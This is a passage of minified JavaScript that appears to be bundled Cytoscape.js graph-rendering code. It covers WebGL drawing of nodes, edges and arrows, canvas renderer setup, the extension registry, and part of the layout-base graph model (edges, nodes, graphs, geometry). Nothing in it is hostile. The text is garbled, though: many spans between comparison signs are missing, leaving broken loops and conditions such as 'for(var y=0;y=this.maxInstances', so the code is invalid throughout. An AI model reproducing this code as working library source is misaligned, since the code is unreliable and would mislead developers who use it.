s=r.x1,l=r.y1,u=r.w,h=r.h,f=r.yOffset;n&&(s-=n,l-=n,u+=2*n,h+=2*n);var d=0,p=u*a;return i&&a<1?u=p:!i&&a<1&&(d=u-p,s+=d,u=p),{x1:s,y1:l,w:u,h,xOffset:d,yOffset:f}},"_getAdjustedBB")},{key:"drawPickingRectangle",value:o(function(r,n,i){var a=this.atlasManager.getRenderTypeOpts(i),s=this.instanceCount;this.vertTypeBuffer.getView(s)[0]=Jm;var l=this.indexBuffer.getView(s);Zm(n,l);var u=this.colorBuffer.getView(s);dp([0,0,0],1,u);var h=this.transformBuffer.getMatrixView(s);this.setTransformMatrix(r,h,a),this.simpleCount++,this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()},"drawPickingRectangle")},{key:"drawNode",value:o(function(r,n,i){var a=this.simpleShapeOptions.get(i);if(this._isVisible(r,a)){var s=a.shapeProps,l=this._getVertTypeForShape(r,s.shape);if(l===void 0||a.isSimple&&!a.isSimple(r)){this.drawTexture(r,n,i);return}var u=this.instanceCount;if(this.vertTypeBuffer.getView(u)[0]=l,l===Pk||l===K2){var h=a.getBoundingBox(r),f=this._getCornerRadius(r,s.radius,h),d=this.cornerRadiusBuffer.getView(u);d[0]=f,d[1]=f,d[2]=f,d[3]=f,l===K2&&(d[0]=0,d[2]=0)}var p=this.indexBuffer.getView(u);Zm(n,p);var m=r.pstyle(s.color).value,g=r.pstyle(s.opacity).value,y=this.colorBuffer.getView(u);dp(m,g,y);var v=this.lineWidthBuffer.getView(u);if(v[0]=0,v[1]=0,s.border){var x=r.pstyle("border-width").value;if(x>0){var b=r.pstyle("border-color").value,T=r.pstyle("border-opacity").value,S=this.borderColorBuffer.getView(u);dp(b,T,S);var w=r.pstyle("border-position").value;if(w==="inside")v[0]=0,v[1]=-x;else if(w==="outside")v[0]=x,v[1]=0;else{var k=x/2;v[0]=k,v[1]=-k}}}var A=this.transformBuffer.getMatrixView(u);this.setTransformMatrix(r,A,a),this.simpleCount++,this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}},"drawNode")},{key:"_getVertTypeForShape",value:o(function(r,n){var i=r.pstyle(n).value;switch(i){case"rectangle":return Jm;case"ellipse":return Q2;case"roundrectangle":case"round-rectangle":return Pk;case"bottom-round-rectangle":return K2;default:return}},"_getVertTypeForShape")},{key:"_getCornerRadius",value:o(function(r,n,i){var a=i.w,s=i.h;if(r.pstyle(n).value==="auto")return kf(a,s);var l=r.pstyle(n).pfValue,u=a/2,h=s/2;return Math.min(l,h,u)},"_getCornerRadius")},{key:"drawEdgeArrow",value:o(function(r,n,i){if(r.visible()){var a=r._private.rscratch,s,l,u;if(i==="source"?(s=a.arrowStartX,l=a.arrowStartY,u=a.srcArrowAngle):(s=a.arrowEndX,l=a.arrowEndY,u=a.tgtArrowAngle),!(isNaN(s)||s==null||isNaN(l)||l==null||isNaN(u)||u==null)){var h=r.pstyle(i+"-arrow-shape").value;if(h!=="none"){var f=r.pstyle(i+"-arrow-color").value,d=r.pstyle("opacity").value,p=r.pstyle("line-opacity").value,m=d*p,g=r.pstyle("width").pfValue,y=r.pstyle("arrow-scale").value,v=this.r.getArrowWidth(g,y),x=this.instanceCount,b=this.transformBuffer.getMatrixView(x);Jce(b),Yk(b,b,[s,l]),aI(b,b,[v,v]),eue(b,b,u),this.vertTypeBuffer.getView(x)[0]=$M;var T=this.indexBuffer.getView(x);Zm(n,T);var S=this.colorBuffer.getView(x);dp(f,m,S),this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}}}},"drawEdgeArrow")},{key:"drawEdgeLine",value:o(function(r,n){if(r.visible()){var i=this._getEdgePoints(r);if(i){var a=r.pstyle("opacity").value,s=r.pstyle("line-opacity").value,l=r.pstyle("width").pfValue,u=r.pstyle("line-color").value,h=a*s;if(i.length/2+this.instanceCount>this.maxInstances&&this.endBatch(),i.length==4){var f=this.instanceCount;this.vertTypeBuffer.getView(f)[0]=tue;var d=this.indexBuffer.getView(f);Zm(n,d);var p=this.colorBuffer.getView(f);dp(u,h,p);var m=this.lineWidthBuffer.getView(f);m[0]=l;var g=this.pointAPointBBuffer.getView(f);g[0]=i[0],g[1]=i[1],g[2]=i[2],g[3]=i[3],this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}else for(var y=0;y=this.maxInstances&&this.endBatch()}}}},"drawEdgeLine")},{key:"_isValidEdge",value:o(function(r){var n=r._private.rscratch;return!(n.badLine||n.allpts==null||isNaN(n.allpts[0]))},"_isValidEdge")},{key:"_getEdgePoints",value:o(function(r){var n=r._private.rscratch;if(this._isValidEdge(r)){var i=n.allpts;if(i.length==4)return i;var a=this._getNumSegments(r);return this._getCurveSegmentPoints(i,a)}},"_getEdgePoints")},{key:"_getNumSegments",value:o(function(r){var n=15;return Math.min(Math.max(n,5),this.maxInstances)},"_getNumSegments")},{key:"_getCurveSegmentPoints",value:o(function(r,n){if(r.length==4)return r;for(var i=Array((n+1)*2),a=0;a<=n;a++)if(a==0)i[0]=r[0],i[1]=r[1];else if(a==n)i[a*2]=r[r.length-2],i[a*2+1]=r[r.length-1];else{var s=a/n;this._setCurvePoint(r,s,i,a*2)}return i},"_getCurveSegmentPoints")},{key:"_setCurvePoint",value:o(function(r,n,i,a){if(r.length<=2)i[a]=r[0],i[a+1]=r[1];else{for(var s=Array(r.length-2),l=0;l0}},"isLayerVisible"),l=o(function(d){var p=d.pstyle("text-events").strValue==="yes";return p?sE.USE_BB:sE.IGNORE},"getTexPickingMode"),u=o(function(d){var p=d.position(),m=p.x,g=p.y,y=d.outerWidth(),v=d.outerHeight();return{w:y,h:v,x1:m-y/2,y1:g-v/2}},"getBBForSimpleShape");r.drawing.addAtlasCollection("node",{texRows:t.webglTexRowsNodes}),r.drawing.addAtlasCollection("label",{texRows:t.webglTexRows}),r.drawing.addTextureAtlasRenderType("node-body",{collection:"node",getKey:e.getStyleKey,getBoundingBox:e.getElementBox,drawElement:e.drawElement}),r.drawing.addSimpleShapeRenderType("node-body",{getBoundingBox:u,isSimple:sqe,shapeProps:{shape:"shape",color:"background-color",opacity:"background-opacity",radius:"corner-radius",border:!0}}),r.drawing.addSimpleShapeRenderType("node-overlay",{getBoundingBox:u,isVisible:s("overlay"),shapeProps:{shape:"overlay-shape",color:"overlay-color",opacity:"overlay-opacity",padding:"overlay-padding",radius:"overlay-corner-radius"}}),r.drawing.addSimpleShapeRenderType("node-underlay",{getBoundingBox:u,isVisible:s("underlay"),shapeProps:{shape:"underlay-shape",color:"underlay-color",opacity:"underlay-opacity",padding:"underlay-padding",radius:"underlay-corner-radius"}}),r.drawing.addTextureAtlasRenderType("label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getLabelKey,null),getBoundingBox:GM(e.getLabelBox,null),drawClipped:!0,drawElement:e.drawLabel,getRotation:i(null),getRotationPoint:e.getLabelRotationPoint,getRotationOffset:e.getLabelRotationOffset,isVisible:a("label")}),r.drawing.addTextureAtlasRenderType("edge-source-label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getSourceLabelKey,"source"),getBoundingBox:GM(e.getSourceLabelBox,"source"),drawClipped:!0,drawElement:e.drawSourceLabel,getRotation:i("source"),getRotationPoint:e.getSourceLabelRotationPoint,getRotationOffset:e.getSourceLabelRotationOffset,isVisible:a("source-label")}),r.drawing.addTextureAtlasRenderType("edge-target-label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getTargetLabelKey,"target"),getBoundingBox:GM(e.getTargetLabelBox,"target"),drawClipped:!0,drawElement:e.drawTargetLabel,getRotation:i("target"),getRotationPoint:e.getTargetLabelRotationPoint,getRotationOffset:e.getTargetLabelRotationOffset,isVisible:a("target-label")});var h=xx(function(){console.log("garbage collect flag set"),r.data.gc=!0},1e4);r.onUpdateEleCalcs(function(f,d){var p=!1;d&&d.length>0&&(p|=r.drawing.invalidate(d)),p&&h()}),Aqe(r)};o(Cqe,"getBGColor");o(zhe,"getLabelLines");zM=o(function(e,r){return function(n){var i=e(n),a=zhe(n,r);return a.length>1?a.map(function(s,l){return"".concat(i,"_").concat(l)}):i}},"getStyleKeysForLabel"),GM=o(function(e,r){return function(n,i){var a=e(n);if(typeof i=="string"){var s=i.indexOf("_");if(s>0){var l=Number(i.substring(s+1)),u=zhe(n,r),h=a.h/u.length,f=h*l,d=a.y1+f;return{x1:a.x1,w:a.w,y1:d,h,yOffset:f}}}return a}},"getBoundingBoxForLabel");o(Aqe,"overrideCanvasRendererFunctions");o(_qe,"clearWebgl");o(Dqe,"clearCanvas");o(Lqe,"createPanZoomMatrix");o(Ghe,"setContextTransform");o(Rqe,"drawSelectionRectangle");o(Nqe,"drawAxes");o(Mqe,"drawAtlases");o(Iqe,"getPickingIndexes");o(Oqe,"findNearestElementsWebgl");o(VM,"drawEle");o(Vhe,"renderWebgl");Rf={};Rf.drawPolygonPath=function(t,e,r,n,i,a){var s=n/2,l=i/2;t.beginPath&&t.beginPath(),t.moveTo(e+s*a[0],r+l*a[1]);for(var u=1;u0&&s>0){m.clearRect(0,0,a,s),m.globalCompositeOperation="source-over";var g=this.getCachedZSortedEles();if(t.full)m.translate(-n.x1*h,-n.y1*h),m.scale(h,h),this.drawElements(m,g),m.scale(1/h,1/h),m.translate(n.x1*h,n.y1*h);else{var y=e.pan(),v={x:y.x*h,y:y.y*h};h*=e.zoom(),m.translate(v.x,v.y),m.scale(h,h),this.drawElements(m,g),m.scale(1/h,1/h),m.translate(-v.x,-v.y)}t.bg&&(m.globalCompositeOperation="destination-over",m.fillStyle=t.bg,m.rect(0,0,a,s),m.fill())}return p};o(Pqe,"b64ToBlob");o(aue,"b64UriToB64");o(Hhe,"output");Sx.png=function(t){return Hhe(t,this.bufferCanvasImage(t),"image/png")};Sx.jpg=function(t){return Hhe(t,this.bufferCanvasImage(t),"image/jpeg")};qhe={};qhe.nodeShapeImpl=function(t,e,r,n,i,a,s,l){switch(t){case"ellipse":return this.drawEllipsePath(e,r,n,i,a);case"polygon":return this.drawPolygonPath(e,r,n,i,a,s);case"round-polygon":return this.drawRoundPolygonPath(e,r,n,i,a,s,l);case"roundrectangle":case"round-rectangle":return this.drawRoundRectanglePath(e,r,n,i,a,l);case"cutrectangle":case"cut-rectangle":return this.drawCutRectanglePath(e,r,n,i,a,s,l);case"bottomroundrectangle":case"bottom-round-rectangle":return this.drawBottomRoundRectanglePath(e,r,n,i,a,l);case"barrel":return this.drawBarrelPath(e,r,n,i,a)}};Bqe=Whe,Cr=Whe.prototype;Cr.CANVAS_LAYERS=3;Cr.SELECT_BOX=0;Cr.DRAG=1;Cr.NODE=2;Cr.WEBGL=3;Cr.CANVAS_TYPES=["2d","2d","2d","webgl2"];Cr.BUFFER_COUNT=3;Cr.TEXTURE_BUFFER=0;Cr.MOTIONBLUR_BUFFER_NODE=1;Cr.MOTIONBLUR_BUFFER_DRAG=2;o(Whe,"CanvasRenderer");Cr.redrawHint=function(t,e){var r=this;switch(t){case"eles":r.data.canvasNeedsRedraw[Cr.NODE]=e;break;case"drag":r.data.canvasNeedsRedraw[Cr.DRAG]=e;break;case"select":r.data.canvasNeedsRedraw[Cr.SELECT_BOX]=e;break;case"gc":r.data.gc=!0;break}};Fqe=typeof Path2D<"u";Cr.path2dEnabled=function(t){if(t===void 0)return this.pathsEnabled;this.pathsEnabled=!!t};Cr.usePaths=function(){return Fqe&&this.pathsEnabled};Cr.setImgSmoothing=function(t,e){t.imageSmoothingEnabled!=null?t.imageSmoothingEnabled=e:(t.webkitImageSmoothingEnabled=e,t.mozImageSmoothingEnabled=e,t.msImageSmoothingEnabled=e)};Cr.getImgSmoothing=function(t){return t.imageSmoothingEnabled!=null?t.imageSmoothingEnabled:t.webkitImageSmoothingEnabled||t.mozImageSmoothingEnabled||t.msImageSmoothingEnabled};Cr.makeOffscreenCanvas=function(t,e){var r;if((typeof OffscreenCanvas>"u"?"undefined":$i(OffscreenCanvas))!=="undefined")r=new OffscreenCanvas(t,e);else{var n=this.cy.window(),i=n.document;r=i.createElement("canvas"),r.width=t,r.height=e}return r};[Ihe,Fc,Hu,NI,Cp,Lf,us,$he,Rf,Sx,qhe].forEach(function(t){ir(Cr,t)});$qe=[{name:"null",impl:bhe},{name:"base",impl:Lhe},{name:"canvas",impl:Bqe}],zqe=[{type:"layout",extensions:hHe},{type:"renderer",extensions:$qe}],Yhe={},Xhe={};o(jhe,"setExtension");o(Khe,"getExtension");o(Gqe,"setModule");o(Vqe,"getModule");lI=o(function(){if(arguments.length===2)return Khe.apply(null,arguments);if(arguments.length===3)return jhe.apply(null,arguments);if(arguments.length===4)return Vqe.apply(null,arguments);if(arguments.length===5)return Gqe.apply(null,arguments);Kn("Invalid extension access syntax")},"extension");fx.prototype.extension=lI;zqe.forEach(function(t){t.extensions.forEach(function(e){jhe(t.type,e.name,e.impl)})});oE=o(function(){if(!(this instanceof oE))return new oE;this.length=0},"Stylesheet"),Ep=oE.prototype;Ep.instanceString=function(){return"stylesheet"};Ep.selector=function(t){var e=this.length++;return this[e]={selector:t,properties:[]},this};Ep.css=function(t,e){var r=this.length-1;if(Jt(t))this[r].properties.push({name:t,value:e});else if(Yr(t))for(var n=t,i=Object.keys(n),a=0;a{"use strict";o((function(e,r){typeof Cx=="object"&&typeof OI=="object"?OI.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Cx=="object"?Cx.layoutBase=r():e.layoutBase=r()}),"webpackUniversalModuleDefinition")(Cx,function(){return(function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return o(r,"__webpack_require__"),r.m=t,r.c=e,r.i=function(n){return n},r.d=function(n,i,a){r.o(n,i)||Object.defineProperty(n,i,{configurable:!1,enumerable:!0,get:a})},r.n=function(n){var i=n&&n.__esModule?o(function(){return n.default},"getDefault"):o(function(){return n},"getModuleExports");return r.d(i,"a",i),i},r.o=function(n,i){return Object.prototype.hasOwnProperty.call(n,i)},r.p="",r(r.s=26)})([(function(t,e,r){"use strict";function n(){}o(n,"LayoutConstants"),n.QUALITY=1,n.DEFAULT_CREATE_BENDS_AS_NEEDED=!1,n.DEFAULT_INCREMENTAL=!1,n.DEFAULT_ANIMATION_ON_LAYOUT=!0,n.DEFAULT_ANIMATION_DURING_LAYOUT=!1,n.DEFAULT_ANIMATION_PERIOD=50,n.DEFAULT_UNIFORM_LEAF_NODE_SIZES=!1,n.DEFAULT_GRAPH_MARGIN=15,n.NODE_DIMENSIONS_INCLUDE_LABELS=!1,n.SIMPLE_NODE_SIZE=40,n.SIMPLE_NODE_HALF_SIZE=n.SIMPLE_NODE_SIZE/2,n.EMPTY_COMPOUND_NODE_SIZE=40,n.MIN_EDGE_LENGTH=1,n.WORLD_BOUNDARY=1e6,n.INITIAL_WORLD_BOUNDARY=n.WORLD_BOUNDARY/1e3,n.WORLD_CENTER_X=1200,n.WORLD_CENTER_Y=900,t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(8),a=r(9);function s(u,h,f){n.call(this,f),this.isOverlapingSourceAndTarget=!1,this.vGraphObject=f,this.bendpoints=[],this.source=u,this.target=h}o(s,"LEdge"),s.prototype=Object.create(n.prototype);for(var l in n)s[l]=n[l];s.prototype.getSource=function(){return this.source},s.prototype.getTarget=function(){return this.target},s.prototype.isInterGraph=function(){return this.isInterGraph},s.prototype.getLength=function(){return this.length},s.prototype.isOverlapingSourceAndTarget=function(){return this.isOverlapingSourceAndTarget},s.prototype.getBendpoints=function(){return this.bendpoints},s.prototype.getLca=function(){return this.lca},s.prototype.getSourceInLca=function(){return this.sourceInLca},s.prototype.getTargetInLca=function(){return this.targetInLca},s.prototype.getOtherEnd=function(u){if(this.source===u)return this.target;if(this.target===u)return this.source;throw"Node is not incident with this edge"},s.prototype.getOtherEndInGraph=function(u,h){for(var f=this.getOtherEnd(u),d=h.getGraphManager().getRoot();;){if(f.getOwner()==h)return f;if(f.getOwner()==d)break;f=f.getOwner().getParent()}return null},s.prototype.updateLength=function(){var u=new Array(4);this.isOverlapingSourceAndTarget=i.getIntersection(this.target.getRect(),this.source.getRect(),u),this.isOverlapingSourceAndTarget||(this.lengthX=u[0]-u[2],this.lengthY=u[1]-u[3],Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY))},s.prototype.updateLengthSimple=function(){this.lengthX=this.target.getCenterX()-this.source.getCenterX(),this.lengthY=this.target.getCenterY()-this.source.getCenterY(),Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY)},t.exports=s}),(function(t,e,r){"use strict";function n(i){this.vGraphObject=i}o(n,"LGraphObject"),t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(13),s=r(0),l=r(16),u=r(4);function h(d,p,m,g){m==null&&g==null&&(g=p),n.call(this,g),d.graphManager!=null&&(d=d.graphManager),this.estimatedSize=i.MIN_VALUE,this.inclusionTreeDepth=i.MAX_VALUE,this.vGraphObject=g,this.edges=[],this.graphManager=d,m!=null&&p!=null?this.rect=new a(p.x,p.y,m.width,m.height):this.rect=new a}o(h,"LNode"),h.prototype=Object.create(n.prototype);for(var f in n)h[f]=n[f];h.prototype.getEdges=function(){return this.edges},h.prototype.getChild=function(){return this.child},h.prototype.getOwner=function(){return this.owner},h.prototype.getWidth=function(){return this.rect.width},h.prototype.setWidth=function(d){this.rect.width=d},h.prototype.getHeight=function(){return this.rect.height},h.prototype.setHeight=function(d){this.rect.height=d},h.prototype.getCenterX=function(){return this.rect.x+this.rect.width/2},h.prototype.getCenterY=function(){return this.rect.y+this.rect.height/2},h.prototype.getCenter=function(){return new u(this.rect.x+this.rect.width/2,this.rect.y+this.rect.height/2)},h.prototype.getLocation=function(){return new u(this.rect.x,this.rect.y)},h.prototype.getRect=function(){return this.rect},h.prototype.getDiagonal=function(){return Math.sqrt(this.rect.width*this.rect.width+this.rect.height*this.rect.height)},h.prototype.getHalfTheDiagonal=function(){return Math.sqrt(this.rect.height*this.rect.height+this.rect.width*this.rect.width)/2},h.prototype.setRect=function(d,p){this.rect.x=d.x,this.rect.y=d.y,this.rect.width=p.width,this.rect.height=p.height},h.prototype.setCenter=function(d,p){this.rect.x=d-this.rect.width/2,this.rect.y=p-this.rect.height/2},h.prototype.setLocation=function(d,p){this.rect.x=d,this.rect.y=p},h.prototype.moveBy=function(d,p){this.rect.x+=d,this.rect.y+=p},h.prototype.getEdgeListToNode=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(y.target==d){if(y.source!=g)throw"Incorrect edge source!";p.push(y)}}),p},h.prototype.getEdgesBetween=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(!(y.source==g||y.target==g))throw"Incorrect edge source and/or target";(y.target==d||y.source==d)&&p.push(y)}),p},h.prototype.getNeighborsList=function(){var d=new Set,p=this;return p.edges.forEach(function(m){if(m.source==p)d.add(m.target);else{if(m.target!=p)throw"Incorrect incidency!";d.add(m.source)}}),d},h.prototype.withChildren=function(){var d=new Set,p,m;if(d.add(this),this.child!=null)for(var g=this.child.getNodes(),y=0;yp&&(this.rect.x-=(this.labelWidth-p)/2,this.setWidth(this.labelWidth)),this.labelHeight>m&&(this.labelPos=="center"?this.rect.y-=(this.labelHeight-m)/2:this.labelPos=="top"&&(this.rect.y-=this.labelHeight-m),this.setHeight(this.labelHeight))}}},h.prototype.getInclusionTreeDepth=function(){if(this.inclusionTreeDepth==i.MAX_VALUE)throw"assert failed";return this.inclusionTreeDepth},h.prototype.transform=function(d){var p=this.rect.x;p>s.WORLD_BOUNDARY?p=s.WORLD_BOUNDARY:p<-s.WORLD_BOUNDARY&&(p=-s.WORLD_BOUNDARY);var m=this.rect.y;m>s.WORLD_BOUNDARY?m=s.WORLD_BOUNDARY:m<-s.WORLD_BOUNDARY&&(m=-s.WORLD_BOUNDARY);var g=new u(p,m),y=d.inverseTransformPoint(g);this.setLocation(y.x,y.y)},h.prototype.getLeft=function(){return this.rect.x},h.prototype.getRight=function(){return this.rect.x+this.rect.width},h.prototype.getTop=function(){return this.rect.y},h.prototype.getBottom=function(){return this.rect.y+this.rect.height},h.prototype.getParent=function(){return this.owner==null?null:this.owner.getParent()},t.exports=h}),(function(t,e,r){"use strict";function n(i,a){i==null&&a==null?(this.x=0,this.y=0):(this.x=i,this.y=a)}o(n,"PointD"),n.prototype.getX=function(){return this.x},n.prototype.getY=function(){return this.y},n.prototype.setX=function(i){this.x=i},n.prototype.setY=function(i){this.y=i},n.prototype.getDifference=function(i){return new DimensionD(this.x-i.x,this.y-i.y)},n.prototype.getCopy=function(){return new n(this.x,this.y)},n.prototype.translate=function(i){return this.x+=i.width,this.y+=i.height,this},t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(0),s=r(6),l=r(3),u=r(1),h=r(13),f=r(12),d=r(11);function p(g,y,v){n.call(this,v),this.estimatedSize=i.MIN_VALUE,this.margin=a.DEFAULT_GRAPH_MARGIN,this.edges=[],this.nodes=[],this.isConnected=!1,this.parent=g,y!=null&&y instanceof s?this.graphManager=y:y!=null&&y instanceof Layout&&(this.graphManager=y.graphManager)}o(p,"LGraph"),p.prototype=Object.create(n.prototype);for(var m in n)p[m]=n[m];p.prototype.getNodes=function(){return this.nodes},p.prototype.getEdges=function(){return this.edges},p.prototype.getGraphManager=function(){return this.graphManager},p.prototype.getParent=function(){return this.parent},p.prototype.getLeft=function(){return this.left},p.prototype.getRight=function(){return this.right},p.prototype.getTop=function(){return this.top},p.prototype.getBottom=function(){return this.bottom},p.prototype.isConnected=function(){return this.isConnected},p.prototype.add=function(g,y,v){if(y==null&&v==null){var x=g;if(this.graphManager==null)throw"Graph has no graph mgr!";if(this.getNodes().indexOf(x)>-1)throw"Node already in graph!";return x.owner=this,this.getNodes().push(x),x}else{var b=g;if(!(this.getNodes().indexOf(y)>-1&&this.getNodes().indexOf(v)>-1))throw"Source or target not in graph!";if(!(y.owner==v.owner&&y.owner==this))throw"Both owners must be this graph!";return y.owner!=v.owner?null:(b.source=y,b.target=v,b.isInterGraph=!1,this.getEdges().push(b),y.edges.push(b),v!=y&&v.edges.push(b),b)}},p.prototype.remove=function(g){var y=g;if(g instanceof l){if(y==null)throw"Node is null!";if(!(y.owner!=null&&y.owner==this))throw"Owner graph is invalid!";if(this.graphManager==null)throw"Owner graph manager is invalid!";for(var v=y.edges.slice(),x,b=v.length,T=0;T-1&&k>-1))throw"Source and/or target doesn't know this edge!";x.source.edges.splice(w,1),x.target!=x.source&&x.target.edges.splice(k,1);var S=x.source.owner.getEdges().indexOf(x);if(S==-1)throw"Not in owner's edge list!";x.source.owner.getEdges().splice(S,1)}},p.prototype.updateLeftTop=function(){for(var g=i.MAX_VALUE,y=i.MAX_VALUE,v,x,b,T=this.getNodes(),S=T.length,w=0;wv&&(g=v),y>x&&(y=x)}return g==i.MAX_VALUE?null:(T[0].getParent().paddingLeft!=null?b=T[0].getParent().paddingLeft:b=this.margin,this.left=y-b,this.top=g-b,new f(this.left,this.top))},p.prototype.updateBounds=function(g){for(var y=i.MAX_VALUE,v=-i.MAX_VALUE,x=i.MAX_VALUE,b=-i.MAX_VALUE,T,S,w,k,A,C=this.nodes,R=C.length,I=0;IT&&(y=T),vw&&(x=w),bT&&(y=T),vw&&(x=w),b=this.nodes.length){var R=0;v.forEach(function(I){I.owner==g&&R++}),R==this.nodes.length&&(this.isConnected=!0)}},t.exports=p}),(function(t,e,r){"use strict";var n,i=r(1);function a(s){n=r(5),this.layout=s,this.graphs=[],this.edges=[]}o(a,"LGraphManager"),a.prototype.addRoot=function(){var s=this.layout.newGraph(),l=this.layout.newNode(null),u=this.add(s,l);return this.setRootGraph(u),this.rootGraph},a.prototype.add=function(s,l,u,h,f){if(u==null&&h==null&&f==null){if(s==null)throw"Graph is null!";if(l==null)throw"Parent node is null!";if(this.graphs.indexOf(s)>-1)throw"Graph already in this graph mgr!";if(this.graphs.push(s),s.parent!=null)throw"Already has a parent!";if(l.child!=null)throw"Already has a child!";return s.parent=l,l.child=s,s}else{f=u,h=l,u=s;var d=h.getOwner(),p=f.getOwner();if(!(d!=null&&d.getGraphManager()==this))throw"Source not in this graph mgr!";if(!(p!=null&&p.getGraphManager()==this))throw"Target not in this graph mgr!";if(d==p)return u.isInterGraph=!1,d.add(u,h,f);if(u.isInterGraph=!0,u.source=h,u.target=f,this.edges.indexOf(u)>-1)throw"Edge already in inter-graph edge list!";if(this.edges.push(u),!(u.source!=null&&u.target!=null))throw"Edge source and/or target is null!";if(!(u.source.edges.indexOf(u)==-1&&u.target.edges.indexOf(u)==-1))throw"Edge already in source and/or target incidency list!";return u.source.edges.push(u),u.target.edges.push(u),u}},a.prototype.remove=function(s){if(s instanceof n){var l=s;if(l.getGraphManager()!=this)throw"Graph not in this graph mgr";if(!(l==this.rootGraph||l.parent!=null&&l.parent.graphManager==this))throw"Invalid parent node!";var u=[];u=u.concat(l.getEdges());for(var h,f=u.length,d=0;d=s.getRight()?l[0]+=Math.min(s.getX()-a.getX(),a.getRight()-s.getRight()):s.getX()<=a.getX()&&s.getRight()>=a.getRight()&&(l[0]+=Math.min(a.getX()-s.getX(),s.getRight()-a.getRight())),a.getY()<=s.getY()&&a.getBottom()>=s.getBottom()?l[1]+=Math.min(s.getY()-a.getY(),a.getBottom()-s.getBottom()):s.getY()<=a.getY()&&s.getBottom()>=a.getBottom()&&(l[1]+=Math.min(a.getY()-s.getY(),s.getBottom()-a.getBottom()));var f=Math.abs((s.getCenterY()-a.getCenterY())/(s.getCenterX()-a.getCenterX()));s.getCenterY()===a.getCenterY()&&s.getCenterX()===a.getCenterX()&&(f=1);var d=f*l[0],p=l[1]/f;l[0]d)return l[0]=u,l[1]=m,l[2]=f,l[3]=C,!1;if(hf)return l[0]=p,l[1]=h,l[2]=k,l[3]=d,!1;if(uf?(l[0]=y,l[1]=v,E=!0):(l[0]=g,l[1]=m,E=!0):_===M&&(u>f?(l[0]=p,l[1]=m,E=!0):(l[0]=x,l[1]=v,E=!0)),-O===M?f>u?(l[2]=A,l[3]=C,D=!0):(l[2]=k,l[3]=w,D=!0):O===M&&(f>u?(l[2]=S,l[3]=w,D=!0):(l[2]=R,l[3]=C,D=!0)),E&&D)return!1;if(u>f?h>d?(P=this.getCardinalDirection(_,M,4),B=this.getCardinalDirection(O,M,2)):(P=this.getCardinalDirection(-_,M,3),B=this.getCardinalDirection(-O,M,1)):h>d?(P=this.getCardinalDirection(-_,M,1),B=this.getCardinalDirection(-O,M,3)):(P=this.getCardinalDirection(_,M,2),B=this.getCardinalDirection(O,M,4)),!E)switch(P){case 1:G=m,F=u+-T/M,l[0]=F,l[1]=G;break;case 2:F=x,G=h+b*M,l[0]=F,l[1]=G;break;case 3:G=v,F=u+T/M,l[0]=F,l[1]=G;break;case 4:F=y,G=h+-b*M,l[0]=F,l[1]=G;break}if(!D)switch(B){case 1:U=w,$=f+-L/M,l[2]=$,l[3]=U;break;case 2:$=R,U=d+I*M,l[2]=$,l[3]=U;break;case 3:U=C,$=f+L/M,l[2]=$,l[3]=U;break;case 4:$=A,U=d+-I*M,l[2]=$,l[3]=U;break}}return!1},i.getCardinalDirection=function(a,s,l){return a>s?l:1+l%4},i.getIntersection=function(a,s,l,u){if(u==null)return this.getIntersection2(a,s,l);var h=a.x,f=a.y,d=s.x,p=s.y,m=l.x,g=l.y,y=u.x,v=u.y,x=void 0,b=void 0,T=void 0,S=void 0,w=void 0,k=void 0,A=void 0,C=void 0,R=void 0;return T=p-f,w=h-d,A=d*f-h*p,S=v-g,k=m-y,C=y*g-m*v,R=T*k-S*w,R===0?null:(x=(w*C-k*A)/R,b=(S*A-T*C)/R,new n(x,b))},i.angleOfVector=function(a,s,l,u){var h=void 0;return a!==l?(h=Math.atan((u-s)/(l-a)),l0?1:i<0?-1:0},n.floor=function(i){return i<0?Math.ceil(i):Math.floor(i)},n.ceil=function(i){return i<0?Math.floor(i):Math.ceil(i)},t.exports=n}),(function(t,e,r){"use strict";function n(){}o(n,"Integer"),n.MAX_VALUE=2147483647,n.MIN_VALUE=-2147483648,t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function h(f,d){for(var p=0;p"u"?"undefined":n(a);return a==null||s!="object"&&s!="function"},t.exports=i}),(function(t,e,r){"use strict";function n(m){if(Array.isArray(m)){for(var g=0,y=Array(m.length);g0&&g;){for(T.push(w[0]);T.length>0&&g;){var k=T[0];T.splice(0,1),b.add(k);for(var A=k.getEdges(),x=0;x-1&&w.splice(L,1)}b=new Set,S=new Map}}return m},p.prototype.createDummyNodesForBendpoints=function(m){for(var g=[],y=m.source,v=this.graphManager.calcLowestCommonAncestor(m.source,m.target),x=0;x0){for(var v=this.edgeToDummyNodes.get(y),x=0;x=0&&g.splice(C,1);var R=S.getNeighborsList();R.forEach(function(E){if(y.indexOf(E)<0){var D=v.get(E),_=D-1;_==1&&k.push(E),v.set(E,_)}})}y=y.concat(k),(g.length==1||g.length==2)&&(x=!0,b=g[0])}return b},p.prototype.setGraphManager=function(m){this.graphManager=m},t.exports=p}),(function(t,e,r){"use strict";function n(){}o(n,"RandomSeed"),n.seed=1,n.x=0,n.nextDouble=function(){return n.x=Math.sin(n.seed++)*1e4,n.x-Math.floor(n.x)},t.exports=n}),(function(t,e,r){"use strict";var n=r(4);function 